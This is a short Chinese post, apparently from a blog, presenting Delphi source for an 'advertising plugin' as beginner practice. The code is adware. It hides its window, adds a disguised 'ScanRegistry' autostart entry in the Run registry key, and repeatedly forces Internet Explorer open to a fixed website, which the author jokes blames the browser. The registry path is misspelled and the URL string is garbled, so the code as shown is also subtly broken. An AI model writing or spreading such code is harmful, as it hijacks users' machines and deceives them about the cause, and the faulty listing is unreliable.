一段Delphi广告插件源码

泡泡鱼点评：
很适合初学者上手。
学习目的：
1.Delphi中如何操作注册表创建键值
2.如何隐藏运行窗体
3.Timer控件的使用
注意点：
uses中要添加registry

***************************************************************************************
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Registry,shellapi, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var
reg:Tregistry;
begin
Application.ShowMainForm:=False; //隐藏Form窗体
reg := Tregistry.create;
reg.rootkey := HKEY_LOCAL_MACHINE;
reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVerson\Run',true);
reg.WriteString('ScanRegistry','fisco.exe');
reg.CloseKey;
reg.Free; //写入注册表随机启动，程序保存为fisco.exe
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
hWnd:THandle;
begin
hWnd:=FindWindow('IEFRAME',nil);
if hWnd<>0 then //如果发现浏览器运行(其实就是嫁祸浏览器^_^)
ShellExecute(0, 'open', 'iexplore.exe', 'http://www.cnnst.com&#39;, '', SW_SHOWNORMAL);
end;
end.